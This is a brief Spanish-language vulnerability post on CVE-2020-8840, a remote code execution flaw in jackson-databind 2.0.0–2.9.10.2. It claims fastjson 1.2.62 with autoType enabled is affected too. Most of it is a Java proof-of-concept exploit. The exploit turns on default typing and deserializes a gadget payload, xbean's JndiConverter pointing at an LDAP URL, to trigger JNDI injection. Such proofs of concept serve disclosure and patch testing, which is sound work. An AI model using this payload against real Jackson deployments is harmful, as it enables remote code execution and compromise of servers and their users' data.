CVE-2020-8840 FasterXML vulnerabilidad de ejecución remota de código jackson-databind

Impacto de la vulnerabilidad

jackson-databind 2.0.0 – 2.9.10.2

Se ha verificado que fastjson afecta a la última versión de fastjson v1.2.62 cuando la función autoType está activada

POC

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
   public static void main(String args[]) {
       ObjectMapper mapper = new ObjectMapper();

       mapper.enableDefaultTyping();

       String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

       try {
           mapper.readValue(json, Object.class);
       } catch (IOException e) {
           e.printStackTrace();
       }

   }
}